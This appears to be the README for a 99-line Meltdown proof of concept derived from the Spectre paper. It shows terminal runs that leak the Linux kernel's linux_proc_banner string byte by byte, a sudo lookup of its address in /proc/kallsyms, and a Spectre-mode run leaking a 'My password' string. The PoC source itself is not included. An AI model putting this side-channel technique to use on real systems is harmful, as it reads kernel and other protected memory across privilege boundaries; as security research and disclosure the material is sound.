Create a tiny Meltdown proof of concept (PoC) based on Spectre attack technique.
It is expected that the Spectre attack technique could be used to perform Meltdown attack as well. The original Spectre paper proof of concept was used as a basis for the work.
With no command line arguments, the program will try to read the content of address 0xffffffff81800040 which is the address of the Linux kernel 3.13 linux_proc_banner string, located inside the kernel space:
a@b:~/p/spectre-meltdown$ gcc --version
gcc (Ubuntu 5.4.1-2ubuntu1~16.04) 5.4.1 20160904
[...]
a@b:~/p/spectre-meltdown$ uname -a
Linux b 3.13.0-85-generic #129-Ubuntu SMP Thu Mar 17 20:50:15 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
a@b:~/p/spectre-meltdown$ ./spectre-meltdown-99
0xffffffff81800040 = 0x25 ('%')
0xffffffff81800041 = 0x73 ('s')
0xffffffff81800042 = 0x20 (' ')
0xffffffff81800043 = 0x76 ('v')
0xffffffff81800044 = 0x65 ('e')
0xffffffff81800045 = 0x72 ('r')
0xffffffff81800046 = 0x73 ('s')
0xffffffff81800047 = 0x69 ('i')
0xffffffff81800048 = 0x6f ('o')
0xffffffff81800049 = 0x6e ('n')
0xffffffff8180004a = 0x20 (' ')
0xffffffff8180004b = 0x25 ('%')
0xffffffff8180004c = 0x73 ('s')
0xffffffff8180004d = 0x20 (' ')
0xffffffff8180004e = 0x28 ('(')
0xffffffff8180004f = 0x62 ('b')
0xffffffff81800050 = 0x75 ('u')
0xffffffff81800051 = 0x69 ('i')
0xffffffff81800052 = 0x6c ('l')
0xffffffff81800053 = 0x64 ('d')
0xffffffff81800054 = 0x64 ('d')
0xffffffff81800055 = 0x40 ('@')
0xffffffff81800056 = 0x6c ('l')
0xffffffff81800057 = 0x67 ('g')
0xffffffff81800058 = 0x77 ('w')
0xffffffff81800059 = 0x30 ('0')
0xffffffff8180005a = 0x31 ('1')
0xffffffff8180005b = 0x2d ('-')
0xffffffff8180005c = 0x33 ('3')
0xffffffff8180005d = 0x32 ('2')
0xffffffff8180005e = 0x29 (')')
0xffffffff8180005f = 0x20 (' ')
0xffffffff81800060 = 0x28 ('(')
0xffffffff81800061 = 0x67 ('g')
0xffffffff81800062 = 0x63 ('c')
0xffffffff81800063 = 0x63 ('c')
0xffffffff81800064 = 0x20 (' ')
0xffffffff81800065 = 0x76 ('v')
0xffffffff81800066 = 0x65 ('e')
0xffffffff81800067 = 0x72 ('r')
0xffffffff81800068 = 0x73 ('s')
0xffffffff81800069 = 0x69 ('i')
0xffffffff8180006a = 0x6f ('o')
0xffffffff8180006b = 0x6e ('n')
0xffffffff8180006c = 0x20 (' ')
0xffffffff8180006d = 0x34 ('4')
0xffffffff8180006e = 0x2e ('.')
0xffffffff8180006f = 0x38 ('8')
0xffffffff81800070 = 0x2e ('.')
0xffffffff81800071 = 0x32 ('2')
0xffffffff81800072 = 0x20 (' ')
0xffffffff81800073 = 0x28 ('(')
0xffffffff81800074 = 0x55 ('U')
0xffffffff81800075 = 0x62 ('b')
0xffffffff81800076 = 0x75 ('u')
0xffffffff81800077 = 0x6e ('n')
0xffffffff81800078 = 0x74 ('t')
0xffffffff81800079 = 0x75 ('u')
0xffffffff8180007a = 0x20 (' ')
0xffffffff8180007b = 0x34 ('4')
0xffffffff8180007c = 0x2e ('.')
0xffffffff8180007d = 0x38 ('8')
0xffffffff8180007e = 0x2e ('.')
0xffffffff8180007f = 0x32 ('2')
0xffffffff81800080 = 0x2d ('-')
0xffffffff81800081 = 0x31 ('1')
0xffffffff81800082 = 0x39 ('9')
0xffffffff81800083 = 0x75 ('u')
0xffffffff81800084 = 0x62 ('b')
0xffffffff81800085 = 0x75 ('u')
0xffffffff81800086 = 0x6e ('n')
0xffffffff81800087 = 0x74 ('t')
0xffffffff81800088 = 0x75 ('u')
0xffffffff81800089 = 0x31 ('1')
0xffffffff8180008a = 0x29 (')')
0xffffffff8180008b = 0x20 (' ')
0xffffffff8180008c = 0x29 (')')
0xffffffff8180008d = 0x20 (' ')
0xffffffff8180008e = 0x25 ('%')
0xffffffff8180008f = 0x73 ('s')
0xffffffff81800090 = 0xa ('
')
0xffffffff81800091 = 0x0 ('')
It is possible to run the PoC on another versions of Linux. To do so, an address of the linux_proc_banner must be passed as the command line argument.
The address of the structure could be found in /proc/kallsym as showed below, and the root privileges are needed to do so:
kda@toster ~/workspace/tmp/spectre $ uname -a
Linux toster 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
kda@toster ~/workspace/tmp/spectre $ sudo cat /proc/kallsyms | grep linux_proc_banner
ffffffff81a00060 R linux_proc_banner
kda@toster ~/workspace/tmp/spectre $ ./spectre ffffffff81a00060
0xffffffff81a00060 = 0x25 ('%')
0xffffffff81a00061 = 0x73 ('s')
0xffffffff81a00062 = 0x20 (' ')
0xffffffff81a00063 = 0x76 ('v')
0xffffffff81a00064 = 0x65 ('e')
0xffffffff81a00065 = 0x72 ('r')
0xffffffff81a00066 = 0x73 ('s')
0xffffffff81a00067 = 0x69 ('i')
0xffffffff81a00068 = 0x6f ('o')
0xffffffff81a00069 = 0x6e ('n')
0xffffffff81a0006a = 0x20 (' ')
0xffffffff81a0006b = 0x25 ('%')
0xffffffff81a0006c = 0x73 ('s')
0xffffffff81a0006d = 0x20 (' ')
0xffffffff81a0006e = 0x28 ('(')
0xffffffff81a0006f = 0x62 ('b')
0xffffffff81a00070 = 0x75 ('u')
0xffffffff81a00071 = 0x69 ('i')
0xffffffff81a00072 = 0x6c ('l')
0xffffffff81a00073 = 0x64 ('d')
0xffffffff81a00074 = 0x64 ('d')
0xffffffff81a00075 = 0x40 ('@')
0xffffffff81a00076 = 0x6c ('l')
0xffffffff81a00077 = 0x67 ('g')
0xffffffff81a00078 = 0x77 ('w')
0xffffffff81a00079 = 0x30 ('0')
0xffffffff81a0007a = 0x31 ('1')
0xffffffff81a0007b = 0x2d ('-')
0xffffffff81a0007c = 0x32 ('2')
0xffffffff81a0007d = 0x31 ('1')
0xffffffff81a0007e = 0x29 (')')
0xffffffff81a0007f = 0x20 (' ')
0xffffffff81a00080 = 0x28 ('(')
0xffffffff81a00081 = 0x67 ('g')
0xffffffff81a00082 = 0x63 ('c')
0xffffffff81a00083 = 0x63 ('c')
0xffffffff81a00084 = 0x20 (' ')
0xffffffff81a00085 = 0x76 ('v')
0xffffffff81a00086 = 0x65 ('e')
0xffffffff81a00087 = 0x72 ('r')
0xffffffff81a00088 = 0x73 ('s')
0xffffffff81a00089 = 0x69 ('i')
0xffffffff81a0008a = 0x6f ('o')
0xffffffff81a0008b = 0x6e ('n')
0xffffffff81a0008c = 0x20 (' ')
0xffffffff81a0008d = 0x35 ('5')
0xffffffff81a0008e = 0x2e ('.')
0xffffffff81a0008f = 0x33 ('3')
0xffffffff81a00090 = 0x2e ('.')
0xffffffff81a00091 = 0x31 ('1')
0xffffffff81a00092 = 0x20 (' ')
0xffffffff81a00093 = 0x32 ('2')
0xffffffff81a00094 = 0x30 ('0')
0xffffffff81a00095 = 0x31 ('1')
0xffffffff81a00096 = 0x36 ('6')
0xffffffff81a00097 = 0x30 ('0')
0xffffffff81a00098 = 0x34 ('4')
0xffffffff81a00099 = 0x31 ('1')
0xffffffff81a0009a = 0x33 ('3')
0xffffffff81a0009b = 0x20 (' ')
0xffffffff81a0009c = 0x28 ('(')
0xffffffff81a0009d = 0x55 ('U')
0xffffffff81a0009e = 0x62 ('b')
0xffffffff81a0009f = 0x75 ('u')
0xffffffff81a000a0 = 0x6e ('n')
0xffffffff81a000a1 = 0x74 ('t')
0xffffffff81a000a2 = 0x75 ('u')
0xffffffff81a000a3 = 0x20 (' ')
0xffffffff81a000a4 = 0x35 ('5')
0xffffffff81a000a5 = 0x2e ('.')
0xffffffff81a000a6 = 0x33 ('3')
0xffffffff81a000a7 = 0x2e ('.')
0xffffffff81a000a8 = 0x31 ('1')
0xffffffff81a000a9 = 0x2d ('-')
0xffffffff81a000aa = 0x31 ('1')
0xffffffff81a000ab = 0x34 ('4')
0xffffffff81a000ac = 0x75 ('u')
0xffffffff81a000ad = 0x62 ('b')
0xffffffff81a000ae = 0x75 ('u')
0xffffffff81a000af = 0x6e ('n')
0xffffffff81a000b0 = 0x74 ('t')
0xffffffff81a000b1 = 0x75 ('u')
0xffffffff81a000b2 = 0x32 ('2')
0xffffffff81a000b3 = 0x29 (')')
0xffffffff81a000b4 = 0x20 (' ')
0xffffffff81a000b5 = 0x29 (')')
0xffffffff81a000b6 = 0x20 (' ')
0xffffffff81a000b7 = 0x25 ('%')
0xffffffff81a000b8 = 0x73 ('s')
0xffffffff81a000b9 = 0xa ('
')
0xffffffff81a000ba = 0x0 ('')
To run Spectre proof of concept, pass 0 as a command line argument:
a@b:~/p/spectre-meltdown$ ./spectre-meltdown-99 0
0x601080 = 0x4d ('M')
0x601081 = 0x79 ('y')
0x601082 = 0x20 (' ')
0x601083 = 0x70 ('p')
0x601084 = 0x61 ('a')
0x601085 = 0x73 ('s')
0x601086 = 0x73 ('s')
0x601087 = 0x77 ('w')
0x601088 = 0x6f ('o')
0x601089 = 0x72 ('r')
0x60108a = 0x64 ('d')
0x60108b = 0x0 ('')
The tiny (99 lines) proof of concept was created and successfully tested on few Linux kernel versions. So indeed, the Spectre attack technique could be successfully used for Meltdown attack.